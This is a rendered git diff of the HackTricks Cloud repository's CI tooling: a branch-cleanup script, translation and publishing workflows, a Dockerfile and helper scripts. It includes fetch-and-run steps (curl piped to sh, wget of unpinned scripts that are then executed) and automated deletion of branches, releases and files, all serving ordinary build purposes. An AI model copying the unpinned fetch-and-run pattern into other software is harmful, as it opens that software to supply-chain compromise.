if [ -z "$branch" ]; then
|
||||
continue
|
||||
fi
|
||||
|
||||
echo "Checking branch: $branch"
|
||||
|
||||
# Check if it's a protected branch
|
||||
is_protected=false
|
||||
for protected in "${protected_branches[@]}"; do
|
||||
if [ "$branch" = "$protected" ]; then
|
||||
echo " ✓ Skipping protected branch: $branch"
|
||||
is_protected=true
|
||||
skipped_count=$((skipped_count + 1))
|
||||
break
|
||||
fi
|
||||
done
|
||||
|
||||
if [ "$is_protected" = true ]; then
|
||||
continue
|
||||
fi
|
||||
|
||||
# Check if it's a translation branch (any 2-letter combination)
|
||||
# Also protect any branch that starts with 2 letters followed by additional content
|
||||
if echo "$branch" | grep -Eq "$translation_pattern" || echo "$branch" | grep -Eq "^[a-zA-Z]{2}[_-]"; then
|
||||
echo " ✓ Skipping translation/language branch: $branch"
|
||||
skipped_count=$((skipped_count + 1))
|
||||
continue
|
||||
fi
|
||||
|
||||
# Check if branch has an open PR
|
||||
if echo "$open_pr_branches" | grep -Fxq "$branch"; then
|
||||
echo " ✓ Skipping branch with open PR: $branch"
|
||||
skipped_count=$((skipped_count + 1))
|
||||
continue
|
||||
fi
|
||||
|
||||
# Check if branch had a PR that was merged or closed
|
||||
echo " → Checking PR history for branch: $branch"
|
||||
|
||||
# Look for PRs from this branch (both merged and closed)
|
||||
pr_info=$(gh pr list --state all --head "$branch" --json number,state,mergedAt --limit 1)
|
||||
|
||||
if [ "$pr_info" != "[]" ]; then
|
||||
pr_state=$(echo "$pr_info" | jq -r '.[0].state')
|
||||
pr_number=$(echo "$pr_info" | jq -r '.[0].number')
|
||||
merged_at=$(echo "$pr_info" | jq -r '.[0].mergedAt')
|
||||
|
||||
if [ "$pr_state" = "MERGED" ] || [ "$pr_state" = "CLOSED" ]; then
|
||||
if [ "$DRY_RUN" = "true" ]; then
|
||||
echo " 🔍 [DRY RUN] Would delete branch: $branch (PR #$pr_number was $pr_state)"
|
||||
deleted_count=$((deleted_count + 1))
|
||||
else
|
||||
echo " ✗ Deleting branch: $branch (PR #$pr_number was $pr_state)"
|
||||
|
||||
# Delete the remote branch
|
||||
if git push origin --delete "$branch" 2>/dev/null; then
|
||||
echo " Successfully deleted remote branch: $branch"
|
||||
deleted_count=$((deleted_count + 1))
|
||||
else
|
||||
echo " Failed to delete remote branch: $branch"
|
||||
fi
|
||||
fi
|
||||
else
|
||||
echo " ✓ Skipping branch with open PR: $branch (PR #$pr_number is $pr_state)"
|
||||
skipped_count=$((skipped_count + 1))
|
||||
fi
|
||||
else
|
||||
# No PR found for this branch - it might be a stale branch
|
||||
# Check if branch is older than 30 days and has no recent activity
|
||||
last_commit_date=$(git log -1 --format="%ct" origin/"$branch" 2>/dev/null || echo "0")
|
||||
|
||||
if [ "$last_commit_date" != "0" ] && [ -n "$last_commit_date" ]; then
|
||||
# Calculate 30 days ago in seconds since epoch
|
||||
thirty_days_ago=$(($(date +%s) - 30 * 24 * 60 * 60))
|
||||
|
||||
if [ "$last_commit_date" -lt "$thirty_days_ago" ]; then
|
||||
if [ "$DRY_RUN" = "true" ]; then
|
||||
echo " 🔍 [DRY RUN] Would delete stale branch (no PR, >30 days old): $branch"
|
||||
deleted_count=$((deleted_count + 1))
|
||||
else
|
||||
echo " ✗ Deleting stale branch (no PR, >30 days old): $branch"
|
||||
|
||||
if git push origin --delete "$branch" 2>/dev/null; then
|
||||
echo " Successfully deleted stale branch: $branch"
|
||||
deleted_count=$((deleted_count + 1))
|
||||
else
|
||||
echo " Failed to delete stale branch: $branch"
|
||||
fi
|
||||
fi
|
||||
else
|
||||
echo " ✓ Skipping recent branch (no PR, <30 days old): $branch"
|
||||
skipped_count=$((skipped_count + 1))
|
||||
fi
|
||||
else
|
||||
echo " ✓ Skipping branch (cannot determine age): $branch"
|
||||
skipped_count=$((skipped_count + 1))
|
||||
fi
|
||||
fi
|
||||
|
||||
echo ""
|
||||
done
|
||||
|
||||
echo "=================================="
|
||||
echo "Branch cleanup completed!"
|
||||
if [ "$DRY_RUN" = "true" ]; then
|
||||
echo "Branches that would be deleted: $deleted_count"
|
||||
else
|
||||
echo "Branches deleted: $deleted_count"
|
||||
fi
|
||||
echo "Branches skipped: $skipped_count"
|
||||
echo "=================================="
|
||||
|
||||
# Clean up local tracking branches (only if not dry run)
|
||||
if [ "$DRY_RUN" != "true" ]; then
|
||||
echo "Cleaning up local tracking branches..."
|
||||
git remote prune origin
|
||||
fi
|
||||
|
||||
echo "Cleanup process finished."
|
||||
195
.github/workflows/translate_all.yml
vendored
Normal file
195
.github/workflows/translate_all.yml
vendored
Normal file
@@ -0,0 +1,195 @@
|
||||
name: Translator All
|
||||
|
||||
on:
|
||||
push:
|
||||
branches:
|
||||
- master
|
||||
paths-ignore:
|
||||
- 'scripts/**'
|
||||
- '.gitignore'
|
||||
- '.github/**'
|
||||
- Dockerfile
|
||||
workflow_dispatch:
|
||||
|
||||
permissions:
|
||||
packages: write
|
||||
id-token: write
|
||||
contents: write
|
||||
|
||||
jobs:
|
||||
translate:
|
||||
name: Translate → ${{ matrix.name }} (${{ matrix.branch }})
|
||||
runs-on: ubuntu-latest
|
||||
environment: prod
|
||||
|
||||
# Run N languages in parallel (tune max-parallel if needed)
|
||||
strategy:
|
||||
fail-fast: false
|
||||
# max-parallel: 3 #Nothing to run all in parallel
|
||||
matrix:
|
||||
include:
|
||||
- { name: "Afrikaans", language: "Afrikaans", branch: "af" }
|
||||
- { name: "German", language: "German", branch: "de" }
|
||||
- { name: "Greek", language: "Greek", branch: "el" }
|
||||
- { name: "Spanish", language: "Spanish", branch: "es" }
|
||||
- { name: "French", language: "French", branch: "fr" }
|
||||
- { name: "Hindi", language: "Hindi", branch: "hi" }
|
||||
- { name: "Italian", language: "Italian", branch: "it" }
|
||||
- { name: "Japanese", language: "Japanese", branch: "ja" }
|
||||
- { name: "Korean", language: "Korean", branch: "ko" }
|
||||
- { name: "Polish", language: "Polish", branch: "pl" }
|
||||
- { name: "Portuguese", language: "Portuguese", branch: "pt" }
|
||||
- { name: "Serbian", language: "Serbian", branch: "sr" }
|
||||
- { name: "Swahili", language: "Swahili", branch: "sw" }
|
||||
- { name: "Turkish", language: "Turkish", branch: "tr" }
|
||||
- { name: "Ukrainian", language: "Ukrainian", branch: "uk" }
|
||||
- { name: "Chinese", language: "Chinese", branch: "zh" }
|
||||
|
||||
# Ensure only one job per branch runs at a time (even across workflow runs)
|
||||
concurrency:
|
||||
group: translate-${{ matrix.branch }}
|
||||
cancel-in-progress: false
|
||||
|
||||
container:
|
||||
image: ghcr.io/hacktricks-wiki/hacktricks-cloud/translator-image:latest
|
||||
|
||||
env:
|
||||
LANGUAGE: ${{ matrix.language }}
|
||||
BRANCH: ${{ matrix.branch }}
|
||||
|
||||
steps:
|
||||
- name: Checkout code
|
||||
uses: actions/checkout@v4
|
||||
with:
|
||||
fetch-depth: 0
|
||||
|
||||
- name: Update and download scripts
|
||||
run: |
|
||||
sudo apt-get update
|
||||
# Install GitHub CLI properly
|
||||
curl -fsSL https://cli.github.com/packages/githubcli-archive-keyring.gpg | sudo dd of=/usr/share/keyrings/githubcli-archive-keyring.gpg \
|
||||
&& sudo chmod go+r /usr/share/keyrings/githubcli-archive-keyring.gpg \
|
||||
&& echo "deb [arch=$(dpkg --print-architecture) signed-by=/usr/share/keyrings/githubcli-archive-keyring.gpg] https://cli.github.com/packages stable main" | sudo tee /etc/apt/sources.list.d/github-cli.list > /dev/null \
|
||||
&& sudo apt update \
|
||||
&& sudo apt install gh -y \
|
||||
&& sudo apt-get install -y wget
|
||||
wget -O /tmp/get_and_save_refs.py https://raw.githubusercontent.com/HackTricks-wiki/hacktricks-cloud/master/scripts/get_and_save_refs.py
|
||||
wget -O /tmp/compare_and_fix_refs.py https://raw.githubusercontent.com/HackTricks-wiki/hacktricks-cloud/master/scripts/compare_and_fix_refs.py
|
||||
wget -O /tmp/translator.py https://raw.githubusercontent.com/HackTricks-wiki/hacktricks-cloud/master/scripts/translator.py
|
||||
|
||||
- name: Run get_and_save_refs.py
|
||||
run: |
|
||||
python /tmp/get_and_save_refs.py
|
||||
|
||||
- name: Download language branch & update refs
|
||||
run: |
|
||||
pwd
|
||||
ls -la
|
||||
git config --global --add safe.directory "$GITHUB_WORKSPACE"
|
||||
git config --global user.name 'Translator'
|
||||
git config --global user.email 'github-actions@github.com'
|
||||
git config pull.rebase false
|
||||
git checkout $BRANCH
|
||||
git pull
|
||||
python /tmp/compare_and_fix_refs.py --files-unmatched-paths /tmp/file_paths.txt
|
||||
git add .
|
||||
git commit -m "Fix unmatched refs" || echo "No changes to commit"
|
||||
git push || echo "No changes to push"
|
||||
|
||||
- name: Run translation script on changed files
|
||||
run: |
|
||||
git checkout master
|
||||
cp src/SUMMARY.md /tmp/master-summary.md
|
||||
export OPENAI_API_KEY=${{ secrets.OPENAI_API_KEY }}
|
||||
git diff --name-only HEAD~1 | grep -v "SUMMARY.md" | while read -r file; do
|
||||
if echo "$file" | grep -qE '\.md$'; then
|
||||
echo -n ",$file" >> /tmp/file_paths.txt
|
||||
fi
|
||||
done
|
||||
|
||||
echo "Files to translate (`wc -l < /tmp/file_paths.txt`):"
|
||||
cat /tmp/file_paths.txt
|
||||
echo ""
|
||||
echo ""
|
||||
touch /tmp/file_paths.txt
|
||||
|
||||
if [ -s /tmp/file_paths.txt ]; then
|
||||
python /tmp/translator.py \
|
||||
--language "$LANGUAGE" \
|
||||
--branch "$BRANCH" \
|
||||
--api-key "$OPENAI_API_KEY" \
|
||||
-f "$(cat /tmp/file_paths.txt)" \
|
||||
-t 3
|
||||
else
|
||||
echo "No markdown files changed, skipping translation."
|
||||
fi
|
||||
|
||||
- name: Sync SUMMARY.md from master
|
||||
run: |
|
||||
git checkout "$BRANCH"
|
||||
git pull
|
||||
if [ -f /tmp/master-summary.md ]; then
|
||||
cp /tmp/master-summary.md src/SUMMARY.md
|
||||
git add src/SUMMARY.md
|
||||
git commit -m "Sync SUMMARY.md with master" || echo "SUMMARY already up to date"
|
||||
git push || echo "No SUMMARY updates to push"
|
||||
else
|
||||
echo "master summary not exported; failing"
|
||||
exit 1
|
||||
fi
|
||||
|
||||
- name: Build mdBook
|
||||
run: |
|
||||
git checkout "$BRANCH"
|
||||
git pull
|
||||
MDBOOK_BOOK__LANGUAGE=$BRANCH mdbook build || (echo "Error logs" && cat hacktricks-preprocessor-error.log && echo "" && echo "" && echo "Debug logs" && (cat hacktricks-preprocessor.log | tail -n 20) && exit 1)
|
||||
|
||||
- name: Publish search index release asset
|
||||
shell: bash
|
||||
env:
|
||||
GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}
|
||||
run: |
|
||||
set -euo pipefail
|
||||
|
||||
ASSET="book/searchindex.js"
|
||||
TAG="searchindex-${BRANCH}"
|
||||
TITLE="Search Index (${BRANCH})"
|
||||
|
||||
if [ ! -f "$ASSET" ]; then
|
||||
echo "Expected $ASSET to exist after build" >&2
|
||||
exit 1
|
||||
fi
|
||||
|
||||
TOKEN="${GITHUB_TOKEN}"
|
||||
if [ -z "$TOKEN" ]; then
|
||||
echo "No token available for GitHub CLI" >&2
|
||||
exit 1
|
||||
fi
|
||||
export GH_TOKEN="$TOKEN"
|
||||
|
||||
# Delete the release if it exists
|
||||
if gh release view "$TAG" --repo "$GITHUB_REPOSITORY" >/dev/null 2>&1; then
|
||||
echo "Release $TAG already exists, deleting it..."
|
||||
gh release delete "$TAG" --yes --repo "$GITHUB_REPOSITORY"
|
||||
fi
|
||||
|
||||
# Create new release
|
||||
gh release create "$TAG" "$ASSET" --title "$TITLE" --notes "Automated search index build for $BRANCH" --repo "$GITHUB_REPOSITORY"
|
||||
|
||||
# Login in AWs
|
||||
- name: Configure AWS credentials using OIDC
|
||||
uses: aws-actions/configure-aws-credentials@v3
|
||||
with:
|
||||
role-to-assume: ${{ secrets.AWS_ROLE_ARN }}
|
||||
aws-region: us-east-1
|
||||
|
||||
# Sync the build to S3
|
||||
- name: Sync to S3
|
||||
run: |
|
||||
echo "Current branch:"
|
||||
git rev-parse --abbrev-ref HEAD
|
||||
echo "Syncing $BRANCH to S3"
|
||||
aws s3 sync ./book s3://hacktricks-cloud/$BRANCH --delete
|
||||
echo "Sync completed"
|
||||
echo "Cat 3 files from the book"
|
||||
find . -type f -name 'index.html' -print | head -n 3 | xargs -r cat
|
||||
23
.github/workflows/upload_ht_to_ai.yml
vendored
Normal file
23
.github/workflows/upload_ht_to_ai.yml
vendored
Normal file
@@ -0,0 +1,23 @@
|
||||
name: Upload HackTricks to HackTricks AI
|
||||
|
||||
on:
|
||||
workflow_dispatch:
|
||||
schedule:
|
||||
- cron: "0 5 1 * *"
|
||||
|
||||
|
||||
jobs:
|
||||
dowload-clean-push:
|
||||
runs-on: ubuntu-latest
|
||||
environment: prod
|
||||
steps:
|
||||
# 1. Download the script
|
||||
- name: Dowload script
|
||||
run: wget "https://raw.githubusercontent.com/HackTricks-wiki/hacktricks-cloud/refs/heads/master/scripts/upload_ht_to_ai.py"
|
||||
|
||||
- name: Install pip dependencies
|
||||
run: python3 -m pip install openai
|
||||
|
||||
# 2. Execute the script
|
||||
- name: Execute script
|
||||
run: export MY_OPENAI_API_KEY=${{ secrets.MY_OPENAI_API_KEY }}; python3 "./upload_ht_to_ai.py"
|
||||
1
.gitignore
vendored
1
.gitignore
vendored
@@ -35,3 +35,4 @@ book
|
||||
book/*
|
||||
hacktricks-preprocessor.log
|
||||
hacktricks-preprocessor-error.log
|
||||
searchindex.js
|
||||
|
||||
31
Dockerfile
Normal file
31
Dockerfile
Normal file
@@ -0,0 +1,31 @@
|
||||
# Use the official Python 3.12 Bullseye image as the base
|
||||
FROM python:3.12-bullseye
|
||||
|
||||
# Install system dependencies
|
||||
RUN apt-get update && apt-get install -y \
|
||||
curl \
|
||||
wget \
|
||||
git \
|
||||
sudo \
|
||||
build-essential \
|
||||
awscli
|
||||
|
||||
# Install Python libraries
|
||||
RUN pip install --upgrade pip && \
|
||||
pip install openai tqdm tiktoken
|
||||
|
||||
# Install Rust & Cargo
|
||||
RUN curl https://sh.rustup.rs -sSf | sh -s -- -y
|
||||
ENV PATH="/root/.cargo/bin:${PATH}"
|
||||
|
||||
# Install mdBook & plugins
|
||||
RUN cargo install mdbook
|
||||
RUN cargo install mdbook-alerts
|
||||
RUN cargo install mdbook-reading-time
|
||||
RUN cargo install mdbook-pagetoc
|
||||
RUN cargo install mdbook-tabs
|
||||
RUN cargo install mdbook-codename
|
||||
|
||||
# Set the working directory
|
||||
WORKDIR /app
|
||||
|
||||
34
README.md
34
README.md
@@ -1,34 +0,0 @@
|
||||
# HackTricks Cloud
|
||||
|
||||
{{#include ./banners/hacktricks-training.md}}
|
||||
|
||||
<figure><img src="images/cloud.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
_Logos e animações do Hacktricks projetados por_ [_@ppiernacho_](https://www.instagram.com/ppieranacho/)_._
|
||||
|
||||
> [!TIP]
|
||||
> Bem-vindo à página onde você encontrará cada **truque/técnica de hacking/o que quer que seja relacionado a CI/CD & Cloud** que aprendi em **CTFs**, **ambientes** da **vida real**, **pesquisando** e **lendo** pesquisas e notícias.
|
||||
|
||||
### **Metodologia de Pentesting CI/CD**
|
||||
|
||||
**Na Metodologia de CI/CD do HackTricks você encontrará como pentestar a infraestrutura relacionada a atividades de CI/CD.** Leia a página a seguir para uma **introdução:**
|
||||
|
||||
[pentesting-ci-cd-methodology.md](pentesting-ci-cd/pentesting-ci-cd-methodology.md)
|
||||
|
||||
### Metodologia de Pentesting Cloud
|
||||
|
||||
**Na Metodologia Cloud do HackTricks você encontrará como pentestar ambientes de nuvem.** Leia a página a seguir para uma **introdução:**
|
||||
|
||||
[pentesting-cloud-methodology.md](pentesting-cloud/pentesting-cloud-methodology.md)
|
||||
|
||||
### Licença & Isenção de Responsabilidade
|
||||
|
||||
**Verifique-os em:**
|
||||
|
||||
[HackTricks Values & FAQ](https://app.gitbook.com/s/-L_2uGJGU7AVNRcqRvEi/welcome/hacktricks-values-and-faq)
|
||||
|
||||
### Estatísticas do Github
|
||||
|
||||

|
||||
|
||||
{{#include ./banners/hacktricks-training.md}}
|
||||
15
book.toml
15
book.toml
@@ -1,6 +1,7 @@
|
||||
[book]
|
||||
authors = ["HackTricks Team"]
|
||||
language = "en"
|
||||
multilingual = false
|
||||
src = "src"
|
||||
title = "HackTricks Cloud"
|
||||
|
||||
@@ -8,17 +9,26 @@ title = "HackTricks Cloud"
|
||||
create-missing = false
|
||||
extra-watch-dirs = ["translations"]
|
||||
|
||||
[preprocessor.alerts]
|
||||
after = ["links"]
|
||||
|
||||
[preprocessor.reading-time]
|
||||
|
||||
[preprocessor.pagetoc]
|
||||
|
||||
[preprocessor.tabs]
|
||||
|
||||
[preprocessor.codename]
|
||||
|
||||
[preprocessor.hacktricks]
|
||||
command = "python3 ./hacktricks-preprocessor.py"
|
||||
env = "prod"
|
||||
|
||||
[output.html]
|
||||
additional-css = ["theme/tabs.css", "theme/pagetoc.css"]
|
||||
additional-css = ["theme/pagetoc.css", "theme/tabs.css"]
|
||||
additional-js = [
|
||||
"theme/tabs.js",
|
||||
"theme/pagetoc.js",
|
||||
"theme/tabs.js",
|
||||
"theme/ht_searcher.js",
|
||||
"theme/sponsor.js",
|
||||
"theme/ai.js"
|
||||
@@ -26,7 +36,6 @@ additional-js = [
|
||||
no-section-label = true
|
||||
preferred-dark-theme = "hacktricks-dark"
|
||||
default-theme = "hacktricks-light"
|
||||
hash-files = false
|
||||
|
||||
[output.html.fold]
|
||||
enable = true # whether or not to enable section folding
|
||||
|
||||
@@ -53,17 +53,11 @@ def ref(matchobj):
|
||||
if href.endswith("/"):
|
||||
href = href+"README.md" # Fix if ref points to a folder
|
||||
if "#" in href:
|
||||
result = findtitle(href.split("#")[0], book, "source_path")
|
||||
if result is None or result[0] is None:
|
||||
raise Exception(f"Chapter not found")
|
||||
chapter, _path = result
|
||||
chapter, _path = findtitle(href.split("#")[0], book, "source_path")
|
||||
title = " ".join(href.split("#")[1].split("-")).title()
|
||||
logger.debug(f'Ref has # using title: {title}')
|
||||
else:
|
||||
result = findtitle(href, book, "source_path")
|
||||
if result is None or result[0] is None:
|
||||
raise Exception(f"Chapter not found")
|
||||
chapter, _path = result
|
||||
chapter, _path = findtitle(href, book, "source_path")
|
||||
logger.debug(f'Recursive title search result: {chapter["name"]}')
|
||||
title = chapter['name']
|
||||
except Exception as e:
|
||||
@@ -71,17 +65,11 @@ def ref(matchobj):
|
||||
dir = path.dirname(current_chapter['source_path'])
|
||||
logger.debug(f'Error getting chapter title: {href} trying with relative path {path.normpath(path.join(dir,href))}')
|
||||
if "#" in href:
|
||||
result = findtitle(path.normpath(path.join(dir,href.split('#')[0])), book, "source_path")
|
||||
if result is None or result[0] is None:
|
||||
raise Exception(f"Chapter not found")
|
||||
chapter, _path = result
|
||||
chapter, _path = findtitle(path.normpath(path.join(dir,href.split('#')[0])), book, "source_path")
|
||||
title = " ".join(href.split("#")[1].split("-")).title()
|
||||
logger.debug(f'Ref has # using title: {title}')
|
||||
else:
|
||||
result = findtitle(path.normpath(path.join(dir,href.split('#')[0])), book, "source_path")
|
||||
if result is None or result[0] is None:
|
||||
raise Exception(f"Chapter not found")
|
||||
chapter, _path = result
|
||||
chapter, _path = findtitle(path.normpath(path.join(dir,href.split('#')[0])), book, "source_path")
|
||||
title = chapter["name"]
|
||||
logger.debug(f'Recursive title search result: {chapter["name"]}')
|
||||
except Exception as e:
|
||||
@@ -159,14 +147,8 @@ if __name__ == '__main__':
|
||||
context, book = json.load(sys.stdin)
|
||||
|
||||
logger.debug(f"Context: {context}")
|
||||
logger.debug(f"Book keys: {book.keys()}")
|
||||
|
||||
# Handle both old (sections) and new (items) mdbook API
|
||||
book_items = book.get('sections') or book.get('items', [])
|
||||
|
||||
for chapter in iterate_chapters(book_items):
|
||||
if chapter is None:
|
||||
continue
|
||||
for chapter in iterate_chapters(book['sections']):
|
||||
logger.debug(f"Chapter: {chapter['path']}")
|
||||
current_chapter = chapter
|
||||
# regex = r'{{[\s]*#ref[\s]*}}(?:\n)?([^\\\n]*)(?:\n)?{{[\s]*#endref[\s]*}}'
|
||||
|
||||
88
scripts/clean_unused_images.sh
Normal file
88
scripts/clean_unused_images.sh
Normal file
@@ -0,0 +1,88 @@
|
||||
#!/bin/bash
|
||||
|
||||
# Define the image folder and the root of your project
|
||||
IMAGE_FOLDER="./src/images"
|
||||
PROJECT_ROOT="."
|
||||
|
||||
# Move to the project root
|
||||
cd "$PROJECT_ROOT" || exit
|
||||
|
||||
# Loop through each image file in the folder
|
||||
find "$IMAGE_FOLDER" -type f | while IFS= read -r image; do
|
||||
# Extract the filename without the path
|
||||
image_name=$(basename "$image")
|
||||
|
||||
# If image file name contains "sponsor", skip it
|
||||
if [[ "$image_name" == *"sponsor"* ]]; then
|
||||
echo "Skipping sponsor image: $image_name"
|
||||
continue
|
||||
fi
|
||||
|
||||
if [[ "$image_name" == *"arte"* ]]; then
|
||||
echo "Skipping arte image: $image_name"
|
||||
continue
|
||||
fi
|
||||
|
||||
if [[ "$image_name" == *"grte"* ]]; then
|
||||
echo "Skipping grte image: $image_name"
|
||||
continue
|
||||
fi
|
||||
|
||||
if [[ "$image_name" == *"azrte"* ]]; then
|
||||
echo "Skipping azrte image: $image_name"
|
||||
continue
|
||||
fi
|
||||
|
||||
if [[ "$image_name" == *"websec"* ]]; then
|
||||
echo "Skipping sponsor image: $image_name"
|
||||
continue
|
||||
fi
|
||||
|
||||
if [[ "$image_name" == *"venacus"* ]]; then
|
||||
echo "Skipping sponsor image: $image_name"
|
||||
continue
|
||||
fi
|
||||
|
||||
if [[ "$image_name" == *"CLOUD"* ]]; then
|
||||
echo "Skipping sponsor image: $image_name"
|
||||
continue
|
||||
fi
|
||||
|
||||
if [[ "$image_name" == *"cloud.gif"* ]]; then
|
||||
echo "Skipping sponsor image: $image_name"
|
||||
continue
|
||||
fi
|
||||
|
||||
if [[ "$image_name" == *"CH_logo"* ]]; then
|
||||
echo "Skipping sponsor image: $image_name"
|
||||
continue
|
||||
fi
|
||||
|
||||
if [[ "$image_name" == *"lasttower"* ]]; then
|
||||
echo "Skipping sponsor image: $image_name"
|
||||
continue
|
||||
fi
|
||||
|
||||
|
||||
|
||||
echo "Checking image: $image_name"
|
||||
|
||||
# Search for the image name using rg and capture the result
|
||||
search_result=$(rg -F --files-with-matches "$image_name" \
|
||||
--no-ignore --hidden \
|
||||
--glob '!.git/*' \
|
||||
--glob '!$IMAGE_FOLDER/*' < /dev/null)
|
||||
|
||||
echo "Search result: $search_result"
|
||||
|
||||
# If rg doesn't find any matches, delete the image
|
||||
if [ -z "$search_result" ]; then
|
||||
echo "Deleting unused image: $image"
|
||||
rm "$image"
|
||||
else
|
||||
echo "Image used: $image_name"
|
||||
echo "$search_result"
|
||||
fi
|
||||
done
|
||||
|
||||
echo "Cleanup completed!"
|
||||
165
scripts/compare_and_fix_refs.py
Normal file
165
scripts/compare_and_fix_refs.py
Normal file
@@ -0,0 +1,165 @@
|
||||
#!/usr/bin/env python3
|
||||
import argparse
|
||||
import json
|
||||
import re
|
||||
from pathlib import Path
|
||||
|
||||
SRC_DIR = Path("./src")
|
||||
REFS_JSON = Path("/tmp/refs.json")
|
||||
|
||||
# Matches content between {{#ref}} and {{#endref}}, including newlines, lazily
|
||||
REF_RE = re.compile(r"{{#ref}}\s*([\s\S]*?)\s*{{#endref}}", re.MULTILINE)
|
||||
|
||||
def extract_refs(text: str):
|
||||
"""Return a list of refs (trimmed) in appearance order."""
|
||||
return [m.strip() for m in REF_RE.findall(text)]
|
||||
|
||||
def replace_refs_in_text(text: str, new_refs: list):
|
||||
"""Replace all refs in text with new_refs, maintaining order."""
|
||||
matches = list(REF_RE.finditer(text))
|
||||
if len(matches) != len(new_refs):
|
||||
return text # Can't replace if counts don't match
|
||||
|
||||
# Replace from end to beginning to avoid offset issues
|
||||
result = text
|
||||
for match, new_ref in zip(reversed(matches), reversed(new_refs)):
|
||||
# Get the full match span to replace the entire {{#ref}}...{{#endref}} block
|
||||
start, end = match.span()
|
||||
# Format the replacement with proper newlines
|
||||
formatted_replacement = f"{{{{#ref}}}}\n{new_ref}\n{{{{#endref}}}}"
|
||||
result = result[:start] + formatted_replacement + result[end:]
|
||||
|
||||
return result
|
||||
|
||||
def main():
|
||||
parser = argparse.ArgumentParser(description="Compare and fix refs between current branch and master branch")
|
||||
parser.add_argument("--files-unmatched-paths", type=str,
|
||||
help="Path to file where unmatched file paths will be saved (comma-separated on first line)")
|
||||
args = parser.parse_args()
|
||||
|
||||
if not SRC_DIR.is_dir():
|
||||
raise SystemExit(f"Not a directory: {SRC_DIR}")
|
||||
|
||||
if not REFS_JSON.exists():
|
||||
raise SystemExit(f"Reference file not found: {REFS_JSON}")
|
||||
|
||||
# Load the reference refs from master branch
|
||||
try:
|
||||
with open(REFS_JSON, 'r', encoding='utf-8') as f:
|
||||
master_refs = json.load(f)
|
||||
except (json.JSONDecodeError, UnicodeDecodeError) as e:
|
||||
raise SystemExit(f"Error reading {REFS_JSON}: {e}")
|
||||
|
||||
print(f"Loaded reference data for {len(master_refs)} files from {REFS_JSON}")
|
||||
|
||||
files_processed = 0
|
||||
files_modified = 0
|
||||
files_with_differences = 0
|
||||
unmatched_files = [] # Track files with unmatched refs
|
||||
|
||||
# Track which files exist in current branch
|
||||
current_files = set()
|
||||
|
||||
for md_path in sorted(SRC_DIR.rglob("*.md")):
|
||||
rel = md_path.relative_to(SRC_DIR).as_posix()
|
||||
rel_with_src = f"{SRC_DIR.name}/{rel}" # Include src/ prefix for output
|
||||
files_processed += 1
|
||||
|
||||
# Track this file as existing in current branch
|
||||
current_files.add(rel)
|
||||
|
||||
try:
|
||||
content = md_path.read_text(encoding="utf-8")
|
||||
except UnicodeDecodeError:
|
||||
# Fallback if encoding is odd
|
||||
content = md_path.read_text(errors="replace")
|
||||
|
||||
current_refs = extract_refs(content)
|
||||
|
||||
# Check if file exists in master refs
|
||||
if rel not in master_refs:
|
||||
if current_refs:
|
||||
print(f"⚠️ NEW FILE with refs: {rel_with_src} (has {len(current_refs)} refs)")
|
||||
files_with_differences += 1
|
||||
unmatched_files.append(rel_with_src)
|
||||
continue
|
||||
|
||||
master_file_refs = master_refs[rel]
|
||||
|
||||
# Compare ref counts
|
||||
if len(current_refs) != len(master_file_refs):
|
||||
print(f"📊 REF COUNT MISMATCH: {rel_with_src} -- Master: {len(master_file_refs)} refs, Current: {len(current_refs)} refs")
|
||||
files_with_differences += 1
|
||||
unmatched_files.append(rel_with_src)
|
||||
continue
|
||||
|
||||
# If no refs in either, skip
|
||||
if not current_refs and not master_file_refs:
|
||||
continue
|
||||
|
||||
# Compare individual refs
|
||||
differences_found = False
|
||||
for i, (current_ref, master_ref) in enumerate(zip(current_refs, master_file_refs)):
|
||||
if current_ref != master_ref:
|
||||
if not differences_found:
|
||||
print(f"🔍 REF DIFFERENCES in {rel_with_src}:")
|
||||
differences_found = True
|
||||
print(f" Ref {i+1}:")
|
||||
print(f" Master: {repr(master_ref)}")
|
||||
print(f" Current: {repr(current_ref)}")
|
||||
|
||||
if differences_found:
|
||||
files_with_differences += 1
|
||||
unmatched_files.append(rel_with_src)
|
||||
|
||||
# Replace current refs with master refs
|
||||
try:
|
||||
new_content = replace_refs_in_text(content, master_file_refs)
|
||||
if new_content != content:
|
||||
md_path.write_text(new_content, encoding="utf-8")
|
||||
files_modified += 1
|
||||
print(f" ✅ Fixed refs in {rel_with_src}")
|
||||
else:
|
||||
print(f" ❌ Failed to replace refs in {rel_with_src}")
|
||||
except Exception as e:
|
||||
print(f" ❌ Error fixing refs in {rel_with_src}: {e}")
|
||||
|
||||
# Check for files that exist in master refs but not in current branch
|
||||
unexisted_files = 0
|
||||
for master_file_rel in master_refs.keys():
|
||||
if master_file_rel not in current_files:
|
||||
rel_with_src = f"{SRC_DIR.name}/{master_file_rel}"
|
||||
print(f"🗑️ {rel_with_src} (existed in master but not in current one)")
|
||||
unexisted_files += 1
|
||||
unmatched_files.append(rel_with_src)
|
||||
|
||||
# Save unmatched files to specified path if requested
|
||||
if args.files_unmatched_paths and unmatched_files:
|
||||
try:
|
||||
unmatched_paths_file = Path(args.files_unmatched_paths)
|
||||
unmatched_paths_file.parent.mkdir(parents=True, exist_ok=True)
|
||||
with open(unmatched_paths_file, 'w', encoding='utf-8') as f:
|
||||
f.write(','.join(list(set(unmatched_files))))
|
||||
print(f"📝 Saved {len(unmatched_files)} unmatched file paths to: {unmatched_paths_file}")
|
||||
except Exception as e:
|
||||
print(f"❌ Error saving unmatched paths to {args.files_unmatched_paths}: {e}")
|
||||
elif args.files_unmatched_paths and not unmatched_files:
|
||||
# Create empty file if no unmatched files found
|
||||
try:
|
||||
unmatched_paths_file = Path(args.files_unmatched_paths)
|
||||
unmatched_paths_file.parent.mkdir(parents=True, exist_ok=True)
|
||||
unmatched_paths_file.write_text('\n', encoding='utf-8')
|
||||
print(f"<EFBFBD> No unmatched files found. Created empty file: {unmatched_paths_file}")
|
||||
except Exception as e:
|
||||
print(f"❌ Error creating empty unmatched paths file {args.files_unmatched_paths}: {e}")
|
||||
|
||||
print(f"\n SUMMARY:")
|
||||
print(f" Files processed: {files_processed}")
|
||||
print(f" Files with different refs: {files_with_differences}")
|
||||
print(f" Files modified: {files_modified}")
|
||||
print(f" Non existing files: {unexisted_files}")
|
||||
if unmatched_files:
|
||||
print(f" Unmatched files: {len(unmatched_files)}")
|
||||
|
||||
if __name__ == "__main__":
|
||||
main()
|
||||
38
scripts/get_and_save_refs.py
Normal file
38
scripts/get_and_save_refs.py
Normal file
@@ -0,0 +1,38 @@
|
||||
